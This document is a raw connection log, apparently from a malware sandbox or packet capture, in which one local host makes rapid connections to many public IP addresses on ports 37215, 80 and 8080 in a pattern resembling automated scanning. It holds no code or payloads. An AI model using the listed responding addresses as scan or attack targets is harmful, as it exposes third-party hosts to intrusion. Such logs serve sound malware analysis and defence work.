Feb 19, 2025 19:43:17.353729010 CET	48240	37215	192.168.2.13	41.43.128.137
Feb 19, 2025 19:43:17.353729963 CET	39480	37215	192.168.2.13	41.165.238.250
Feb 19, 2025 19:43:17.353729963 CET	33546	37215	192.168.2.13	41.114.111.67
Feb 19, 2025 19:43:17.353735924 CET	32812	37215	192.168.2.13	41.2.72.136
Feb 19, 2025 19:43:17.353737116 CET	39154	37215	192.168.2.13	41.87.158.80
Feb 19, 2025 19:43:17.353737116 CET	38642	37215	192.168.2.13	41.227.248.82
Feb 19, 2025 19:43:17.353737116 CET	52474	37215	192.168.2.13	41.34.14.64
Feb 19, 2025 19:43:17.353754044 CET	52376	37215	192.168.2.13	41.122.80.225
Feb 19, 2025 19:43:17.353754044 CET	56672	37215	192.168.2.13	41.138.13.5
Feb 19, 2025 19:43:17.353754044 CET	47068	37215	192.168.2.13	41.101.255.176
Feb 19, 2025 19:43:17.353754044 CET	42818	37215	192.168.2.13	41.219.145.54
Feb 19, 2025 19:43:17.353775024 CET	56902	37215	192.168.2.13	41.119.40.22
Feb 19, 2025 19:43:17.353777885 CET	37874	37215	192.168.2.13	41.233.172.146
Feb 19, 2025 19:43:17.353779078 CET	49734	37215	192.168.2.13	41.28.88.222
Feb 19, 2025 19:43:17.353781939 CET	37358	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:17.353781939 CET	36250	37215	192.168.2.13	41.43.155.121
Feb 19, 2025 19:43:17.353781939 CET	36294	37215	192.168.2.13	41.16.131.145
Feb 19, 2025 19:43:17.353790998 CET	44472	37215	192.168.2.13	41.139.71.227
Feb 19, 2025 19:43:17.354971886 CET	42796	80	192.168.2.13	112.146.164.23
Feb 19, 2025 19:43:17.354971886 CET	42796	80	192.168.2.13	112.146.164.23
Feb 19, 2025 19:43:17.355057001 CET	47630	37215	192.168.2.13	41.45.167.168
Feb 19, 2025 19:43:17.355864048 CET	42862	80	192.168.2.13	112.146.164.23
Feb 19, 2025 19:43:17.356705904 CET	80	54200	112.215.100.84	192.168.2.13
Feb 19, 2025 19:43:17.357069969 CET	46104	80	192.168.2.13	112.194.236.164
Feb 19, 2025 19:43:17.357073069 CET	37496	80	192.168.2.13	112.45.181.192
Feb 19, 2025 19:43:17.357196093 CET	47440	37215	192.168.2.13	41.118.252.79
Feb 19, 2025 19:43:17.357897043 CET	80	37276	112.145.246.200	192.168.2.13
Feb 19, 2025 19:43:17.358541965 CET	37215	48240	41.43.128.137	192.168.2.13
Feb 19, 2025 19:43:17.358650923 CET	37215	39480	41.165.238.250	192.168.2.13
Feb 19, 2025 19:43:17.358664989 CET	55474	80	192.168.2.13	112.165.94.183
Feb 19, 2025 19:43:17.358680964 CET	37215	33546	41.114.111.67	192.168.2.13
Feb 19, 2025 19:43:17.358758926 CET	37215	32812	41.2.72.136	192.168.2.13
Feb 19, 2025 19:43:17.358788967 CET	37215	49190	41.62.62.213	192.168.2.13
Feb 19, 2025 19:43:17.358841896 CET	37215	52376	41.122.80.225	192.168.2.13
Feb 19, 2025 19:43:17.358871937 CET	37215	38642	41.227.248.82	192.168.2.13
Feb 19, 2025 19:43:17.358900070 CET	37215	56672	41.138.13.5	192.168.2.13
Feb 19, 2025 19:43:17.358931065 CET	37215	39154	41.87.158.80	192.168.2.13
Feb 19, 2025 19:43:17.358983994 CET	37215	47068	41.101.255.176	192.168.2.13
Feb 19, 2025 19:43:17.359014034 CET	37215	42818	41.219.145.54	192.168.2.13
Feb 19, 2025 19:43:17.359042883 CET	37215	37874	41.233.172.146	192.168.2.13
Feb 19, 2025 19:43:17.359071016 CET	37215	52474	41.34.14.64	192.168.2.13
Feb 19, 2025 19:43:17.359100103 CET	37215	56902	41.119.40.22	192.168.2.13
Feb 19, 2025 19:43:17.359128952 CET	37215	36250	41.43.155.121	192.168.2.13
Feb 19, 2025 19:43:17.359179974 CET	37215	36294	41.16.131.145	192.168.2.13
Feb 19, 2025 19:43:17.359209061 CET	37215	49734	41.28.88.222	192.168.2.13
Feb 19, 2025 19:43:17.359236956 CET	37215	44472	41.139.71.227	192.168.2.13
Feb 19, 2025 19:43:17.359985113 CET	80	42796	112.146.164.23	192.168.2.13
Feb 19, 2025 19:43:17.360888004 CET	80	42862	112.146.164.23	192.168.2.13
Feb 19, 2025 19:43:17.360937119 CET	42862	80	192.168.2.13	112.146.164.23
Feb 19, 2025 19:43:17.360991001 CET	34326	37215	192.168.2.13	41.165.158.129
Feb 19, 2025 19:43:17.362188101 CET	80	46104	112.194.236.164	192.168.2.13
Feb 19, 2025 19:43:17.362216949 CET	80	37496	112.45.181.192	192.168.2.13
Feb 19, 2025 19:43:17.362232924 CET	46104	80	192.168.2.13	112.194.236.164
Feb 19, 2025 19:43:17.362260103 CET	37496	80	192.168.2.13	112.45.181.192
Feb 19, 2025 19:43:17.362402916 CET	44388	80	192.168.2.13	112.164.248.186
Feb 19, 2025 19:43:17.365544081 CET	42862	80	192.168.2.13	112.146.164.23
Feb 19, 2025 19:43:17.368377924 CET	55726	37215	192.168.2.13	41.188.253.171
Feb 19, 2025 19:43:17.369066000 CET	33644	80	192.168.2.13	112.161.47.71
Feb 19, 2025 19:43:17.370611906 CET	80	41720	112.173.4.193	192.168.2.13
Feb 19, 2025 19:43:17.370645046 CET	80	42862	112.146.164.23	192.168.2.13
Feb 19, 2025 19:43:17.370682001 CET	42862	80	192.168.2.13	112.146.164.23
Feb 19, 2025 19:43:17.373390913 CET	37215	55726	41.188.253.171	192.168.2.13
Feb 19, 2025 19:43:17.373447895 CET	55726	37215	192.168.2.13	41.188.253.171
Feb 19, 2025 19:43:17.374649048 CET	80	43878	112.93.31.83	192.168.2.13
Feb 19, 2025 19:43:17.374710083 CET	80	44262	112.94.111.49	192.168.2.13
Feb 19, 2025 19:43:17.374738932 CET	80	37114	112.45.181.192	192.168.2.13
Feb 19, 2025 19:43:17.374767065 CET	80	37936	112.176.196.97	192.168.2.13
Feb 19, 2025 19:43:17.374795914 CET	80	38932	112.62.83.91	192.168.2.13
Feb 19, 2025 19:43:17.374854088 CET	80	50988	112.248.206.112	192.168.2.13
Feb 19, 2025 19:43:17.375938892 CET	47042	37215	192.168.2.13	41.186.40.235
Feb 19, 2025 19:43:17.378612995 CET	80	50516	112.136.93.211	192.168.2.13
Feb 19, 2025 19:43:17.378642082 CET	80	36176	112.80.82.213	192.168.2.13
Feb 19, 2025 19:43:17.378669977 CET	80	58210	112.137.4.185	192.168.2.13
Feb 19, 2025 19:43:17.381015062 CET	37215	47042	41.186.40.235	192.168.2.13
Feb 19, 2025 19:43:17.381078005 CET	59192	37215	192.168.2.13	41.21.202.47
Feb 19, 2025 19:43:17.381082058 CET	47042	37215	192.168.2.13	41.186.40.235
Feb 19, 2025 19:43:17.386657953 CET	80	60708	112.92.192.205	192.168.2.13
Feb 19, 2025 19:43:17.386689901 CET	80	38762	112.23.8.163	192.168.2.13
Feb 19, 2025 19:43:17.386718988 CET	80	45820	112.194.236.164	192.168.2.13
Feb 19, 2025 19:43:17.386746883 CET	80	38202	112.237.229.98	192.168.2.13
Feb 19, 2025 19:43:17.386775017 CET	80	42036	112.190.182.192	192.168.2.13
Feb 19, 2025 19:43:17.386801958 CET	80	52010	112.20.171.23	192.168.2.13
Feb 19, 2025 19:43:17.386893034 CET	80	41306	112.19.43.201	192.168.2.13
Feb 19, 2025 19:43:17.386929989 CET	36066	37215	192.168.2.13	41.154.192.30
Feb 19, 2025 19:43:17.390708923 CET	55974	37215	192.168.2.13	41.211.25.46
Feb 19, 2025 19:43:17.393996954 CET	35244	37215	192.168.2.13	41.160.252.59
Feb 19, 2025 19:43:17.394633055 CET	80	57566	112.29.109.63	192.168.2.13
Feb 19, 2025 19:43:17.395701885 CET	37215	55974	41.211.25.46	192.168.2.13
Feb 19, 2025 19:43:17.395796061 CET	55974	37215	192.168.2.13	41.211.25.46
Feb 19, 2025 19:43:17.395901918 CET	35224	37215	192.168.2.13	41.10.26.62
Feb 19, 2025 19:43:17.397491932 CET	51246	37215	192.168.2.13	41.81.144.144
Feb 19, 2025 19:43:17.398567915 CET	80	54200	112.215.100.84	192.168.2.13
Feb 19, 2025 19:43:17.398597956 CET	80	37276	112.145.246.200	192.168.2.13
Feb 19, 2025 19:43:17.400309086 CET	51410	37215	192.168.2.13	41.146.26.197
Feb 19, 2025 19:43:17.400980949 CET	37215	35224	41.10.26.62	192.168.2.13
Feb 19, 2025 19:43:17.401027918 CET	35224	37215	192.168.2.13	41.10.26.62
Feb 19, 2025 19:43:17.402698994 CET	57600	37215	192.168.2.13	41.43.1.195
Feb 19, 2025 19:43:17.402721882 CET	80	42796	112.146.164.23	192.168.2.13
Feb 19, 2025 19:43:17.402750969 CET	37215	36294	41.16.131.145	192.168.2.13
Feb 19, 2025 19:43:17.402807951 CET	37215	36250	41.43.155.121	192.168.2.13
Feb 19, 2025 19:43:17.402834892 CET	37215	49734	41.28.88.222	192.168.2.13
Feb 19, 2025 19:43:17.402863026 CET	37215	37874	41.233.172.146	192.168.2.13
Feb 19, 2025 19:43:17.402914047 CET	37215	56902	41.119.40.22	192.168.2.13
Feb 19, 2025 19:43:17.402949095 CET	37215	42818	41.219.145.54	192.168.2.13
Feb 19, 2025 19:43:17.402981043 CET	37215	47068	41.101.255.176	192.168.2.13
Feb 19, 2025 19:43:17.403008938 CET	37215	56672	41.138.13.5	192.168.2.13
Feb 19, 2025 19:43:17.403037071 CET	37215	52376	41.122.80.225	192.168.2.13
Feb 19, 2025 19:43:17.403064966 CET	37215	52474	41.34.14.64	192.168.2.13
Feb 19, 2025 19:43:17.403093100 CET	37215	32812	41.2.72.136	192.168.2.13
Feb 19, 2025 19:43:17.403120041 CET	37215	38642	41.227.248.82	192.168.2.13
Feb 19, 2025 19:43:17.403147936 CET	37215	39154	41.87.158.80	192.168.2.13
Feb 19, 2025 19:43:17.403176069 CET	37215	33546	41.114.111.67	192.168.2.13
Feb 19, 2025 19:43:17.403203964 CET	37215	39480	41.165.238.250	192.168.2.13
Feb 19, 2025 19:43:17.403232098 CET	37215	48240	41.43.128.137	192.168.2.13
Feb 19, 2025 19:43:17.403259039 CET	37215	49190	41.62.62.213	192.168.2.13
Feb 19, 2025 19:43:17.404484034 CET	34986	37215	192.168.2.13	41.64.83.78
Feb 19, 2025 19:43:17.407421112 CET	59294	37215	192.168.2.13	41.77.220.18
Feb 19, 2025 19:43:17.412514925 CET	46338	37215	192.168.2.13	41.118.85.199
Feb 19, 2025 19:43:17.412529945 CET	37215	59294	41.77.220.18	192.168.2.13
Feb 19, 2025 19:43:17.412575960 CET	59294	37215	192.168.2.13	41.77.220.18
Feb 19, 2025 19:43:17.420042992 CET	50118	37215	192.168.2.13	41.95.233.85
Feb 19, 2025 19:43:17.425190926 CET	37215	50118	41.95.233.85	192.168.2.13
Feb 19, 2025 19:43:17.425245047 CET	50118	37215	192.168.2.13	41.95.233.85
Feb 19, 2025 19:43:17.434933901 CET	44472	37215	192.168.2.13	41.139.71.227
Feb 19, 2025 19:43:17.442792892 CET	38712	37215	192.168.2.13	41.91.152.85
Feb 19, 2025 19:43:17.447928905 CET	37215	38712	41.91.152.85	192.168.2.13
Feb 19, 2025 19:43:17.447979927 CET	38712	37215	192.168.2.13	41.91.152.85
Feb 19, 2025 19:43:17.450871944 CET	55726	37215	192.168.2.13	41.188.253.171
Feb 19, 2025 19:43:17.450886965 CET	47042	37215	192.168.2.13	41.186.40.235
Feb 19, 2025 19:43:17.450911999 CET	35224	37215	192.168.2.13	41.10.26.62
Feb 19, 2025 19:43:17.450932026 CET	59294	37215	192.168.2.13	41.77.220.18
Feb 19, 2025 19:43:17.450942993 CET	50118	37215	192.168.2.13	41.95.233.85
Feb 19, 2025 19:43:17.450970888 CET	55726	37215	192.168.2.13	41.188.253.171
Feb 19, 2025 19:43:17.450974941 CET	47042	37215	192.168.2.13	41.186.40.235
Feb 19, 2025 19:43:17.450989962 CET	35224	37215	192.168.2.13	41.10.26.62
Feb 19, 2025 19:43:17.450995922 CET	59294	37215	192.168.2.13	41.77.220.18
Feb 19, 2025 19:43:17.451006889 CET	50118	37215	192.168.2.13	41.95.233.85
Feb 19, 2025 19:43:17.451013088 CET	55974	37215	192.168.2.13	41.211.25.46
Feb 19, 2025 19:43:17.451013088 CET	55974	37215	192.168.2.13	41.211.25.46
Feb 19, 2025 19:43:17.451021910 CET	38712	37215	192.168.2.13	41.91.152.85
Feb 19, 2025 19:43:17.455893993 CET	37215	55726	41.188.253.171	192.168.2.13
Feb 19, 2025 19:43:17.455996990 CET	37215	47042	41.186.40.235	192.168.2.13
Feb 19, 2025 19:43:17.456094980 CET	37215	35224	41.10.26.62	192.168.2.13
Feb 19, 2025 19:43:17.456146002 CET	36712	37215	192.168.2.13	41.207.66.122
Feb 19, 2025 19:43:17.456150055 CET	37215	59294	41.77.220.18	192.168.2.13
Feb 19, 2025 19:43:17.456178904 CET	37215	50118	41.95.233.85	192.168.2.13
Feb 19, 2025 19:43:17.456212044 CET	37215	55974	41.211.25.46	192.168.2.13
Feb 19, 2025 19:43:17.456240892 CET	37215	38712	41.91.152.85	192.168.2.13
Feb 19, 2025 19:43:17.461297989 CET	37215	36712	41.207.66.122	192.168.2.13
Feb 19, 2025 19:43:17.461343050 CET	36712	37215	192.168.2.13	41.207.66.122
Feb 19, 2025 19:43:17.467402935 CET	46558	37215	192.168.2.13	41.218.15.4
Feb 19, 2025 19:43:17.472457886 CET	37215	46558	41.218.15.4	192.168.2.13
Feb 19, 2025 19:43:17.472508907 CET	46558	37215	192.168.2.13	41.218.15.4
Feb 19, 2025 19:43:17.482598066 CET	37215	44472	41.139.71.227	192.168.2.13
Feb 19, 2025 19:43:17.487333059 CET	46444	37215	192.168.2.13	41.165.247.113
Feb 19, 2025 19:43:17.492908001 CET	37215	46444	41.165.247.113	192.168.2.13
Feb 19, 2025 19:43:17.492952108 CET	46444	37215	192.168.2.13	41.165.247.113
Feb 19, 2025 19:43:17.493674040 CET	52492	37215	192.168.2.13	41.126.7.138
Feb 19, 2025 19:43:17.498595953 CET	37215	55974	41.211.25.46	192.168.2.13
Feb 19, 2025 19:43:17.498606920 CET	37215	50118	41.95.233.85	192.168.2.13
Feb 19, 2025 19:43:17.498615026 CET	37215	59294	41.77.220.18	192.168.2.13
Feb 19, 2025 19:43:17.498622894 CET	37215	35224	41.10.26.62	192.168.2.13
Feb 19, 2025 19:43:17.498631954 CET	37215	47042	41.186.40.235	192.168.2.13
Feb 19, 2025 19:43:17.498641014 CET	37215	55726	41.188.253.171	192.168.2.13
Feb 19, 2025 19:43:17.499614954 CET	37215	52492	41.126.7.138	192.168.2.13
Feb 19, 2025 19:43:17.499667883 CET	52492	37215	192.168.2.13	41.126.7.138
Feb 19, 2025 19:43:17.506607056 CET	40654	37215	192.168.2.13	41.181.189.62
Feb 19, 2025 19:43:17.511615038 CET	37215	40654	41.181.189.62	192.168.2.13
Feb 19, 2025 19:43:17.512937069 CET	40654	37215	192.168.2.13	41.181.189.62
Feb 19, 2025 19:43:17.525861025 CET	33914	37215	192.168.2.13	41.76.184.99
Feb 19, 2025 19:43:17.530880928 CET	37215	33914	41.76.184.99	192.168.2.13
Feb 19, 2025 19:43:17.530927896 CET	33914	37215	192.168.2.13	41.76.184.99
Feb 19, 2025 19:43:17.536851883 CET	38712	37215	192.168.2.13	41.91.152.85
Feb 19, 2025 19:43:17.546691895 CET	48560	37215	192.168.2.13	41.124.86.92
Feb 19, 2025 19:43:17.551778078 CET	37215	48560	41.124.86.92	192.168.2.13
Feb 19, 2025 19:43:17.551839113 CET	48560	37215	192.168.2.13	41.124.86.92
Feb 19, 2025 19:43:17.557086945 CET	36712	37215	192.168.2.13	41.207.66.122
Feb 19, 2025 19:43:17.557135105 CET	46444	37215	192.168.2.13	41.165.247.113
Feb 19, 2025 19:43:17.557193995 CET	52492	37215	192.168.2.13	41.126.7.138
Feb 19, 2025 19:43:17.557193995 CET	40654	37215	192.168.2.13	41.181.189.62
Feb 19, 2025 19:43:17.557199955 CET	46558	37215	192.168.2.13	41.218.15.4
Feb 19, 2025 19:43:17.557275057 CET	36712	37215	192.168.2.13	41.207.66.122
Feb 19, 2025 19:43:17.557285070 CET	46558	37215	192.168.2.13	41.218.15.4
Feb 19, 2025 19:43:17.557317019 CET	46444	37215	192.168.2.13	41.165.247.113
Feb 19, 2025 19:43:17.557317019 CET	52492	37215	192.168.2.13	41.126.7.138
Feb 19, 2025 19:43:17.557334900 CET	33914	37215	192.168.2.13	41.76.184.99
Feb 19, 2025 19:43:17.557334900 CET	33914	37215	192.168.2.13	41.76.184.99
Feb 19, 2025 19:43:17.557359934 CET	48560	37215	192.168.2.13	41.124.86.92
Feb 19, 2025 19:43:17.557403088 CET	40654	37215	192.168.2.13	41.181.189.62
Feb 19, 2025 19:43:17.557499886 CET	48560	37215	192.168.2.13	41.124.86.92
Feb 19, 2025 19:43:17.562119007 CET	37215	36712	41.207.66.122	192.168.2.13
Feb 19, 2025 19:43:17.562231064 CET	37215	46444	41.165.247.113	192.168.2.13
Feb 19, 2025 19:43:17.562273979 CET	37215	52492	41.126.7.138	192.168.2.13
Feb 19, 2025 19:43:17.562282085 CET	37215	40654	41.181.189.62	192.168.2.13
Feb 19, 2025 19:43:17.562289000 CET	37215	46558	41.218.15.4	192.168.2.13
Feb 19, 2025 19:43:17.562413931 CET	37215	33914	41.76.184.99	192.168.2.13
Feb 19, 2025 19:43:17.562452078 CET	37215	48560	41.124.86.92	192.168.2.13
Feb 19, 2025 19:43:17.582676888 CET	37215	38712	41.91.152.85	192.168.2.13
Feb 19, 2025 19:43:17.602587938 CET	37215	48560	41.124.86.92	192.168.2.13
Feb 19, 2025 19:43:17.602596998 CET	37215	40654	41.181.189.62	192.168.2.13
Feb 19, 2025 19:43:17.602663994 CET	37215	33914	41.76.184.99	192.168.2.13
Feb 19, 2025 19:43:17.602674007 CET	37215	52492	41.126.7.138	192.168.2.13
Feb 19, 2025 19:43:17.602680922 CET	37215	46444	41.165.247.113	192.168.2.13
Feb 19, 2025 19:43:17.602690935 CET	37215	46558	41.218.15.4	192.168.2.13
Feb 19, 2025 19:43:17.602699041 CET	37215	36712	41.207.66.122	192.168.2.13
Feb 19, 2025 19:43:17.729648113 CET	8080	55412	62.168.82.214	192.168.2.13
Feb 19, 2025 19:43:17.729995012 CET	55412	8080	192.168.2.13	62.168.82.214
Feb 19, 2025 19:43:17.865139008 CET	8080	56200	62.113.108.13	192.168.2.13
Feb 19, 2025 19:43:17.865298033 CET	56200	8080	192.168.2.13	62.113.108.13
Feb 19, 2025 19:43:17.938847065 CET	34770	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:17.938848972 CET	46104	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:17.938930035 CET	53516	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:17.944386005 CET	80	34770	112.191.113.245	192.168.2.13
Feb 19, 2025 19:43:17.944418907 CET	80	46104	112.168.82.214	192.168.2.13
Feb 19, 2025 19:43:17.944449902 CET	80	53516	112.124.55.55	192.168.2.13
Feb 19, 2025 19:43:17.944475889 CET	34770	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:17.944495916 CET	53516	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:17.944509029 CET	46104	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:17.944632053 CET	46104	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:17.944648027 CET	46104	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:17.945224047 CET	46714	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:17.945827961 CET	53516	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:17.945827961 CET	53516	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:17.946430922 CET	54126	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:17.947150946 CET	34770	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:17.947166920 CET	34770	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:17.947693110 CET	35378	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:17.949991941 CET	80	46104	112.168.82.214	192.168.2.13
Feb 19, 2025 19:43:17.950516939 CET	80	46714	112.168.82.214	192.168.2.13
Feb 19, 2025 19:43:17.950572014 CET	46714	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:17.950598955 CET	46714	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:17.951096058 CET	56800	80	192.168.2.13	112.53.42.70
Feb 19, 2025 19:43:17.951153040 CET	80	53516	112.124.55.55	192.168.2.13
Feb 19, 2025 19:43:17.951791048 CET	80	54126	112.124.55.55	192.168.2.13
Feb 19, 2025 19:43:17.951841116 CET	54126	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:17.951879978 CET	54126	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:17.952316999 CET	50934	80	192.168.2.13	112.95.244.68
Feb 19, 2025 19:43:17.952591896 CET	80	34770	112.191.113.245	192.168.2.13
Feb 19, 2025 19:43:17.953097105 CET	80	35378	112.191.113.245	192.168.2.13
Feb 19, 2025 19:43:17.953159094 CET	35378	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:17.953183889 CET	35378	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:17.953635931 CET	47074	80	192.168.2.13	112.173.209.82
Feb 19, 2025 19:43:17.956088066 CET	80	46714	112.168.82.214	192.168.2.13
Feb 19, 2025 19:43:17.956137896 CET	46714	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:17.956423044 CET	80	56800	112.53.42.70	192.168.2.13
Feb 19, 2025 19:43:17.956469059 CET	56800	80	192.168.2.13	112.53.42.70
Feb 19, 2025 19:43:17.956515074 CET	56800	80	192.168.2.13	112.53.42.70
Feb 19, 2025 19:43:17.956515074 CET	56800	80	192.168.2.13	112.53.42.70
Feb 19, 2025 19:43:17.957063913 CET	56806	80	192.168.2.13	112.53.42.70
Feb 19, 2025 19:43:17.957418919 CET	80	54126	112.124.55.55	192.168.2.13
Feb 19, 2025 19:43:17.957464933 CET	54126	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:17.957581997 CET	80	50934	112.95.244.68	192.168.2.13
Feb 19, 2025 19:43:17.957638979 CET	50934	80	192.168.2.13	112.95.244.68
Feb 19, 2025 19:43:17.957715988 CET	50934	80	192.168.2.13	112.95.244.68
Feb 19, 2025 19:43:17.957715988 CET	50934	80	192.168.2.13	112.95.244.68
Feb 19, 2025 19:43:17.958214998 CET	50940	80	192.168.2.13	112.95.244.68
Feb 19, 2025 19:43:17.958604097 CET	80	35378	112.191.113.245	192.168.2.13
Feb 19, 2025 19:43:17.958646059 CET	35378	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:17.958947897 CET	80	47074	112.173.209.82	192.168.2.13
Feb 19, 2025 19:43:17.959002972 CET	47074	80	192.168.2.13	112.173.209.82
Feb 19, 2025 19:43:17.959043980 CET	47074	80	192.168.2.13	112.173.209.82
Feb 19, 2025 19:43:17.959063053 CET	47074	80	192.168.2.13	112.173.209.82
Feb 19, 2025 19:43:17.959516048 CET	47080	80	192.168.2.13	112.173.209.82
Feb 19, 2025 19:43:17.961797953 CET	80	56800	112.53.42.70	192.168.2.13
Feb 19, 2025 19:43:17.962436914 CET	80	56806	112.53.42.70	192.168.2.13
Feb 19, 2025 19:43:17.962553978 CET	56806	80	192.168.2.13	112.53.42.70
Feb 19, 2025 19:43:17.962553978 CET	56806	80	192.168.2.13	112.53.42.70
Feb 19, 2025 19:43:17.962944031 CET	38352	80	192.168.2.13	112.55.84.21
Feb 19, 2025 19:43:17.963094950 CET	80	50934	112.95.244.68	192.168.2.13
Feb 19, 2025 19:43:17.963614941 CET	80	50940	112.95.244.68	192.168.2.13
Feb 19, 2025 19:43:17.963759899 CET	50940	80	192.168.2.13	112.95.244.68
Feb 19, 2025 19:43:17.963759899 CET	50940	80	192.168.2.13	112.95.244.68
Feb 19, 2025 19:43:17.964139938 CET	44534	80	192.168.2.13	112.126.188.55
Feb 19, 2025 19:43:17.964401960 CET	80	47074	112.173.209.82	192.168.2.13
Feb 19, 2025 19:43:17.964885950 CET	80	47080	112.173.209.82	192.168.2.13
Feb 19, 2025 19:43:17.964940071 CET	47080	80	192.168.2.13	112.173.209.82
Feb 19, 2025 19:43:17.964962006 CET	47080	80	192.168.2.13	112.173.209.82
Feb 19, 2025 19:43:17.965416908 CET	51404	80	192.168.2.13	112.109.176.36
Feb 19, 2025 19:43:17.968080044 CET	80	56806	112.53.42.70	192.168.2.13
Feb 19, 2025 19:43:17.968219042 CET	56806	80	192.168.2.13	112.53.42.70
Feb 19, 2025 19:43:17.968381882 CET	80	38352	112.55.84.21	192.168.2.13
Feb 19, 2025 19:43:17.968446016 CET	38352	80	192.168.2.13	112.55.84.21
Feb 19, 2025 19:43:17.968488932 CET	38352	80	192.168.2.13	112.55.84.21
Feb 19, 2025 19:43:17.968488932 CET	38352	80	192.168.2.13	112.55.84.21
Feb 19, 2025 19:43:17.968976974 CET	38358	80	192.168.2.13	112.55.84.21
Feb 19, 2025 19:43:17.969202042 CET	80	50940	112.95.244.68	192.168.2.13
Feb 19, 2025 19:43:17.969348907 CET	50940	80	192.168.2.13	112.95.244.68
Feb 19, 2025 19:43:17.969537973 CET	80	44534	112.126.188.55	192.168.2.13
Feb 19, 2025 19:43:17.969582081 CET	44534	80	192.168.2.13	112.126.188.55
Feb 19, 2025 19:43:17.969631910 CET	44534	80	192.168.2.13	112.126.188.55
Feb 19, 2025 19:43:17.969631910 CET	44534	80	192.168.2.13	112.126.188.55
Feb 19, 2025 19:43:17.970088005 CET	44540	80	192.168.2.13	112.126.188.55
Feb 19, 2025 19:43:17.970478058 CET	80	47080	112.173.209.82	192.168.2.13
Feb 19, 2025 19:43:17.970511913 CET	47080	80	192.168.2.13	112.173.209.82
Feb 19, 2025 19:43:17.970738888 CET	37962	37215	192.168.2.13	41.126.18.90
Feb 19, 2025 19:43:17.970746994 CET	49910	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:17.970760107 CET	34848	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:17.970767021 CET	55362	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:17.970767021 CET	56524	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:17.970772982 CET	33992	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:17.970783949 CET	80	51404	112.109.176.36	192.168.2.13
Feb 19, 2025 19:43:17.970786095 CET	57752	80	192.168.2.13	112.114.189.188
Feb 19, 2025 19:43:17.970791101 CET	35108	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:17.970791101 CET	58426	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:17.970824957 CET	37436	37215	192.168.2.13	41.59.4.209
Feb 19, 2025 19:43:17.970832109 CET	60438	37215	192.168.2.13	41.152.169.55
Feb 19, 2025 19:43:17.970832109 CET	44096	37215	192.168.2.13	41.168.82.214
Feb 19, 2025 19:43:17.970832109 CET	48738	37215	192.168.2.13	41.136.189.146
Feb 19, 2025 19:43:17.970846891 CET	51404	80	192.168.2.13	112.109.176.36
Feb 19, 2025 19:43:17.971097946 CET	51404	80	192.168.2.13	112.109.176.36
Feb 19, 2025 19:43:17.971097946 CET	51404	80	192.168.2.13	112.109.176.36
Feb 19, 2025 19:43:17.971636057 CET	51410	80	192.168.2.13	112.109.176.36
Feb 19, 2025 19:43:17.973782063 CET	80	38352	112.55.84.21	192.168.2.13
Feb 19, 2025 19:43:17.974400043 CET	80	38358	112.55.84.21	192.168.2.13
Feb 19, 2025 19:43:17.974451065 CET	38358	80	192.168.2.13	112.55.84.21
Feb 19, 2025 19:43:17.974479914 CET	38358	80	192.168.2.13	112.55.84.21
Feb 19, 2025 19:43:17.974878073 CET	80	44534	112.126.188.55	192.168.2.13
Feb 19, 2025 19:43:17.975428104 CET	80	44540	112.126.188.55	192.168.2.13
Feb 19, 2025 19:43:17.975476980 CET	44540	80	192.168.2.13	112.126.188.55
Feb 19, 2025 19:43:17.975564003 CET	44540	80	192.168.2.13	112.126.188.55
Feb 19, 2025 19:43:17.975872040 CET	37215	37962	41.126.18.90	192.168.2.13
Feb 19, 2025 19:43:17.975929022 CET	37962	37215	192.168.2.13	41.126.18.90
Feb 19, 2025 19:43:17.975929976 CET	80	49910	112.41.67.178	192.168.2.13
Feb 19, 2025 19:43:17.975960016 CET	80	34848	112.69.153.183	192.168.2.13
Feb 19, 2025 19:43:17.975979090 CET	49910	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:17.975991011 CET	80	55362	112.98.141.139	192.168.2.13
Feb 19, 2025 19:43:17.975995064 CET	34848	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:17.976025105 CET	55362	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:17.976037979 CET	49910	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:17.976037979 CET	49910	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:17.976095915 CET	80	33992	112.55.59.52	192.168.2.13
Feb 19, 2025 19:43:17.976125956 CET	80	56524	112.67.32.40	192.168.2.13
Feb 19, 2025 19:43:17.976129055 CET	33992	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:17.976156950 CET	80	57752	112.114.189.188	192.168.2.13
Feb 19, 2025 19:43:17.976186991 CET	80	35108	112.28.151.176	192.168.2.13
Feb 19, 2025 19:43:17.976195097 CET	57752	80	192.168.2.13	112.114.189.188
